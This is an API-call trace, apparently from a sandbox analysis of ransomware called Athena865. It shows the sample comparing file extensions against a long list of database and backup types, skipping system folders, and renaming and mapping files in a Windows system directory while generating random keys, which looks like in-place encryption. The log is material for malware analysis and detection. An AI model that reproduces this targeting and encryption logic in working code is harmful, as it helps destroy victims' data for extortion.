[0118.855] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0118.855] lstrlenW (lpString="jet") returned 3 [0118.855] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0118.855] lstrlenW (lpString="jtx") returned 3 [0118.855] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0118.855] lstrlenW (lpString="kdb") returned 3 [0118.855] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0118.855] lstrlenW (lpString="kexi") returned 4 [0118.855] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0118.855] lstrlenW (lpString="kexic") returned 5 [0118.855] lstrcmpiW (lpString1="r.dll", lpString2="kexic") returned 1 [0118.855] lstrlenW (lpString="kexis") returned 5 [0118.855] lstrcmpiW (lpString1="r.dll", lpString2="kexis") returned 1 [0118.855] lstrlenW (lpString="lgc") returned 3 [0118.855] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0118.855] lstrlenW (lpString="lwx") returned 3 [0118.855] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0118.855] lstrlenW (lpString="maf") returned 3 [0118.855] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0118.856] lstrlenW (lpString="maq") returned 3 [0118.856] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0118.856] lstrlenW (lpString="mar") returned 3 [0118.856] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0118.856] lstrlenW (lpString="marshal") returned 7 [0118.856] lstrcmpiW (lpString1="rsr.dll", lpString2="marshal") returned 1 [0118.856] lstrlenW (lpString="mas") returned 3 [0118.856] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0118.856] lstrlenW (lpString="mav") returned 3 [0118.856] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0118.856] lstrlenW (lpString="maw") returned 3 [0118.856] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0118.856] lstrlenW (lpString="mdbhtml") returned 7 [0118.856] lstrcmpiW (lpString1="rsr.dll", lpString2="mdbhtml") returned 1 [0118.856] lstrlenW (lpString="mdn") returned 3 [0118.856] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0118.856] lstrlenW (lpString="mdt") returned 3 [0118.856] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0118.856] lstrlenW (lpString="mfd") returned 3 [0118.856] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0118.856] lstrlenW (lpString="mpd") returned 3 [0118.856] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0118.856] lstrlenW (lpString="mrg") returned 3 [0118.856] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0118.856] lstrlenW (lpString="mud") returned 3 [0118.856] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0118.856] lstrlenW (lpString="mwb") returned 3 [0118.856] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0118.856] lstrlenW (lpString="myd") returned 3 [0118.857] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0118.857] lstrlenW (lpString="ndf") returned 3 [0118.857] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0118.857] lstrlenW (lpString="nnt") returned 3 [0118.857] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0118.857] lstrlenW (lpString="nrmlib") returned 6 [0118.857] lstrcmpiW (lpString1="sr.dll", lpString2="nrmlib") returned 1 [0118.857] lstrlenW (lpString="ns2") returned 3 [0118.857] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0118.857] lstrlenW (lpString="ns3") returned 3 [0118.857] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0118.857] lstrlenW (lpString="ns4") returned 3 [0118.857] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0118.857] lstrlenW (lpString="nsf") returned 3 [0118.857] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0118.857] lstrlenW (lpString="nv") returned 2 [0118.857] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0118.857] lstrlenW (lpString="nv2") returned 3 [0118.857] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0118.857] lstrlenW (lpString="nwdb") returned 4 [0118.857] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0118.857] lstrlenW (lpString="nyf") returned 3 [0118.857] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0118.857] lstrlenW (lpString="odb") returned 3 [0118.857] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0118.857] lstrlenW (lpString="odb") returned 3 [0118.857] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0118.857] lstrlenW (lpString="oqy") returned 3 [0118.857] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0118.857] lstrlenW (lpString="ora") returned 3 [0118.857] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0118.858] lstrlenW (lpString="orx") returned 3 [0118.858] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0118.858] lstrlenW (lpString="owc") returned 3 [0118.858] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0118.858] lstrlenW (lpString="p96") returned 3 [0118.858] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0118.858] lstrlenW (lpString="p97") returned 3 [0118.858] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0118.858] lstrlenW (lpString="pan") returned 3 [0118.858] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0118.858] lstrlenW (lpString="pdb") returned 3 [0118.858] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0118.858] lstrlenW (lpString="pdm") returned 3 [0118.858] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0118.858] lstrlenW (lpString="pnz") returned 3 [0118.858] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0118.858] lstrlenW (lpString="qry") returned 3 [0118.858] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0118.858] lstrlenW (lpString="qvd") returned 3 [0118.858] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0118.858] lstrlenW (lpString="rbf") returned 3 [0118.858] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0118.858] lstrlenW (lpString="rctd") returned 4 [0118.858] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0118.858] lstrlenW (lpString="rod") returned 3 [0118.858] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0118.859] lstrlenW (lpString="rodx") returned 4 [0118.859] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0118.859] lstrlenW (lpString="rpd") returned 3 [0118.859] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0118.859] lstrlenW (lpString="rsd") returned 3 [0118.859] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0118.859] lstrlenW (lpString="sas7bdat") returned 8 [0118.859] lstrcmpiW (lpString1="prsr.dll", lpString2="sas7bdat") returned -1 [0118.859] lstrlenW (lpString="sbf") returned 3 [0118.859] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0118.859] lstrlenW (lpString="scx") returned 3 [0118.859] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0118.859] lstrlenW (lpString="sdb") returned 3 [0118.859] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0118.859] lstrlenW (lpString="sdc") returned 3 [0118.859] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0118.859] lstrlenW (lpString="sdf") returned 3 [0118.859] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0118.859] lstrlenW (lpString="sis") returned 3 [0118.859] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0118.859] lstrlenW (lpString="spq") returned 3 [0118.859] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0118.859] lstrlenW (lpString="te") returned 2 [0118.859] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0118.859] lstrlenW (lpString="teacher") returned 7 [0118.859] lstrcmpiW (lpString1="rsr.dll", lpString2="teacher") returned -1 [0118.859] lstrlenW (lpString="tmd") returned 3 [0118.859] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0118.860] lstrlenW (lpString="tps") returned 3 [0118.860] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0118.860] lstrlenW (lpString="trc") returned 3 [0118.860] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0118.860] lstrlenW (lpString="trc") returned 3 [0118.860] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0118.860] lstrlenW (lpString="trm") returned 3 [0118.860] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0118.860] lstrlenW (lpString="udb") returned 3 [0118.860] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0118.860] lstrlenW (lpString="udl") returned 3 [0118.860] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0118.860] lstrlenW (lpString="usr") returned 3 [0118.860] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0118.860] lstrlenW (lpString="v12") returned 3 [0118.860] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0118.860] lstrlenW (lpString="vis") returned 3 [0118.860] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0118.860] lstrlenW (lpString="vpd") returned 3 [0118.860] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0118.860] lstrlenW (lpString="vvv") returned 3 [0118.860] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0118.860] lstrlenW (lpString="wdb") returned 3 [0118.860] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0118.860] lstrlenW (lpString="wmdb") returned 4 [0118.860] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0118.860] lstrlenW (lpString="wrk") returned 3 [0118.860] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0118.860] lstrlenW (lpString="xdb") returned 3 [0118.861] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0118.861] lstrlenW (lpString="xld") returned 3 [0118.861] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0118.861] lstrlenW (lpString="xmlff") returned 5 [0118.861] lstrcmpiW (lpString1="r.dll", lpString2="xmlff") returned -1 [0118.861] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll.Athena865") returned 65 [0118.861] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll.athena865"), dwFlags=0x1) returned 1 [0118.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0118.864] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8192) returned 1 [0118.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.865] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.865] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.865] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.866] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2300, lpName=0x0) returned 0x154 [0118.867] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2300) returned 0x100000 [0118.868] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.869] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.869] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.869] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.869] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.869] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.869] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.869] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.869] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.870] CloseHandle (hObject=0x154) returned 1 [0118.870] CloseHandle (hObject=0x17c) returned 1 [0118.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.870] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0118.870] lstrcmpiW (lpString1="msdaprst.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.870] lstrcmpiW (lpString1="msdaprst.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.870] lstrcmpiW (lpString1="msdaprst.dll", lpString2=".") returned 1 [0118.870] lstrcmpiW (lpString1="msdaprst.dll", lpString2="..") returned 1 [0118.870] lstrcmpiW (lpString1="msdaprst.dll", lpString2="windows") returned -1 [0118.870] lstrcmpiW (lpString1="msdaprst.dll", lpString2="bootmgr") returned 1 [0118.870] lstrcmpiW (lpString1="msdaprst.dll", lpString2="temp") returned -1 [0118.870] lstrcmpiW (lpString1="msdaprst.dll", lpString2="pagefile.sys") returned -1 [0118.870] lstrcmpiW (lpString1="msdaprst.dll", lpString2="boot") returned 1 [0118.870] lstrcmpiW (lpString1="msdaprst.dll", lpString2="ids.txt") returned 1 [0118.870] lstrcmpiW (lpString1="msdaprst.dll", lpString2="ntuser.dat") returned -1 [0118.870] lstrcmpiW (lpString1="msdaprst.dll", lpString2="perflogs") returned -1 [0118.870] lstrcmpiW (lpString1="msdaprst.dll", lpString2="MSBuild") returned 1 [0118.870] lstrlenW (lpString="msdaprst.dll") returned 12 [0118.870] lstrcpyW (in: lpString1=0x241e89e, lpString2="msdaprst.dll" | out: lpString1="msdaprst.dll") returned="msdaprst.dll" [0118.871] lstrlenW (lpString="msdaprst.dll") returned 12 [0118.871] lstrlenW (lpString="Athena865") returned 9 [0118.871] lstrcmpiW (lpString1="aprst.dll", lpString2="Athena865") returned -1 [0118.871] lstrlenW (lpString=".dll") returned 4 [0118.871] lstrcmpiW (lpString1="msdaprst.dll", lpString2=".dll") returned 1 [0118.871] lstrlenW (lpString=".lnk") returned 4 [0118.871] lstrcmpiW (lpString1="msdaprst.dll", lpString2=".lnk") returned 1 [0118.871] lstrlenW (lpString=".ini") returned 4 [0118.871] lstrcmpiW (lpString1="msdaprst.dll", lpString2=".ini") returned 1 [0118.871] lstrlenW (lpString=".sys") returned 4 [0118.871] lstrcmpiW (lpString1="msdaprst.dll", lpString2=".sys") returned 1 [0118.871] lstrlenW (lpString="msdaprst.dll") returned 12 [0118.871] lstrlenW (lpString="bak") returned 3 [0118.871] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0118.871] lstrlenW (lpString="ba_") returned 3 [0118.871] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0118.871] lstrlenW (lpString="dbb") returned 3 [0118.871] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0118.871] lstrlenW (lpString="vmdk") returned 4 [0118.871] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0118.871] lstrlenW (lpString="rar") returned 3 [0118.871] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0118.871] lstrlenW (lpString="zip") returned 3 [0118.871] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0118.871] lstrlenW (lpString="tgz") returned 3 [0118.871] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0118.871] lstrlenW (lpString="vbox") returned 4 [0118.871] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0118.871] lstrlenW (lpString="vdi") returned 3 [0118.871] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0118.871] lstrlenW (lpString="vhd") returned 3 [0118.871] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0118.872] lstrlenW (lpString="vhdx") returned 4 [0118.872] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0118.872] lstrlenW (lpString="avhd") returned 4 [0118.872] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0118.872] lstrlenW (lpString="db") returned 2 [0118.872] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0118.872] lstrlenW (lpString="db2") returned 3 [0118.872] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0118.872] lstrlenW (lpString="db3") returned 3 [0118.872] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0118.872] lstrlenW (lpString="dbf") returned 3 [0118.872] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0118.872] lstrlenW (lpString="mdf") returned 3 [0118.872] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0118.872] lstrlenW (lpString="mdb") returned 3 [0118.872] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0118.872] lstrlenW (lpString="sql") returned 3 [0118.872] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0118.872] lstrlenW (lpString="sqlite") returned 6 [0118.872] lstrcmpiW (lpString1="st.dll", lpString2="sqlite") returned 1 [0118.872] lstrlenW (lpString="sqlite3") returned 7 [0118.872] lstrcmpiW (lpString1="rst.dll", lpString2="sqlite3") returned -1 [0118.872] lstrlenW (lpString="sqlitedb") returned 8 [0118.872] lstrcmpiW (lpString1="prst.dll", lpString2="sqlitedb") returned -1 [0118.872] lstrlenW (lpString="xml") returned 3 [0118.872] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0118.872] lstrlenW (lpString="$er") returned 3 [0118.872] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0118.872] lstrlenW (lpString="4dd") returned 3 [0118.872] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0118.872] lstrlenW (lpString="4dl") returned 3 [0118.873] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0118.873] lstrlenW (lpString="^^^") returned 3 [0118.873] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0118.873] lstrlenW (lpString="abs") returned 3 [0118.873] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0118.873] lstrlenW (lpString="abx") returned 3 [0118.873] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0118.873] lstrlenW (lpString="accdb") returned 5 [0118.873] lstrcmpiW (lpString1="t.dll", lpString2="accdb") returned 1 [0118.873] lstrlenW (lpString="accdc") returned 5 [0118.873] lstrcmpiW (lpString1="t.dll", lpString2="accdc") returned 1 [0118.873] lstrlenW (lpString="accde") returned 5 [0118.873] lstrcmpiW (lpString1="t.dll", lpString2="accde") returned 1 [0118.873] lstrlenW (lpString="accdr") returned 5 [0118.873] lstrcmpiW (lpString1="t.dll", lpString2="accdr") returned 1 [0118.873] lstrlenW (lpString="accdt") returned 5 [0118.873] lstrcmpiW (lpString1="t.dll", lpString2="accdt") returned 1 [0118.873] lstrlenW (lpString="accdw") returned 5 [0118.873] lstrcmpiW (lpString1="t.dll", lpString2="accdw") returned 1 [0118.873] lstrlenW (lpString="accft") returned 5 [0118.873] lstrcmpiW (lpString1="t.dll", lpString2="accft") returned 1 [0118.873] lstrlenW (lpString="adb") returned 3 [0118.873] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.873] lstrlenW (lpString="adb") returned 3 [0118.873] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.873] lstrlenW (lpString="ade") returned 3 [0118.873] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0118.873] lstrlenW (lpString="adf") returned 3 [0118.873] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0118.873] lstrlenW (lpString="adn") returned 3 [0118.873] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0118.874] lstrlenW (lpString="adp") returned 3 [0118.874] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0118.874] lstrlenW (lpString="alf") returned 3 [0118.874] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0118.874] lstrlenW (lpString="ask") returned 3 [0118.874] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0118.874] lstrlenW (lpString="btr") returned 3 [0118.874] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0118.874] lstrlenW (lpString="cat") returned 3 [0118.874] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0118.874] lstrlenW (lpString="cdb") returned 3 [0118.874] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0118.874] lstrlenW (lpString="ckp") returned 3 [0118.874] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0118.874] lstrlenW (lpString="cma") returned 3 [0118.874] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0118.874] lstrlenW (lpString="cpd") returned 3 [0118.874] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0118.874] lstrlenW (lpString="dacpac") returned 6 [0118.874] lstrcmpiW (lpString1="st.dll", lpString2="dacpac") returned 1 [0118.874] lstrlenW (lpString="dad") returned 3 [0118.874] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0118.874] lstrlenW (lpString="dadiagrams") returned 10 [0118.874] lstrcmpiW (lpString1="daprst.dll", lpString2="dadiagrams") returned 1 [0118.874] lstrlenW (lpString="daschema") returned 8 [0118.874] lstrcmpiW (lpString1="prst.dll", lpString2="daschema") returned 1 [0118.874] lstrlenW (lpString="db-journal") returned 10 [0118.874] lstrcmpiW (lpString1="daprst.dll", lpString2="db-journal") returned -1 [0118.875] lstrlenW (lpString="db-shm") returned 6 [0118.875] lstrcmpiW (lpString1="st.dll", lpString2="db-shm") returned 1 [0118.875] lstrlenW (lpString="db-wal") returned 6 [0118.875] lstrcmpiW (lpString1="st.dll", lpString2="db-wal") returned 1 [0118.875] lstrlenW (lpString="dbc") returned 3 [0118.875] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0118.875] lstrlenW (lpString="dbs") returned 3 [0118.875] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0118.875] lstrlenW (lpString="dbt") returned 3 [0118.875] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0118.875] lstrlenW (lpString="dbv") returned 3 [0118.875] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0118.875] lstrlenW (lpString="dbx") returned 3 [0118.875] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0118.875] lstrlenW (lpString="dcb") returned 3 [0118.875] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0118.875] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0118.875] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll.Athena865") returned 65 [0118.875] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll.athena865"), dwFlags=0x1) returned 1 [0118.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0118.876] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=389120) returned 1 [0118.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.877] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.877] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.877] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.878] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5f300, lpName=0x0) returned 0x154 [0118.879] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5f300) returned 0x2d50000 [0118.896] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.897] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.897] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.898] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.898] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0118.901] CloseHandle (hObject=0x154) returned 1 [0118.901] CloseHandle (hObject=0x17c) returned 1 [0118.901] 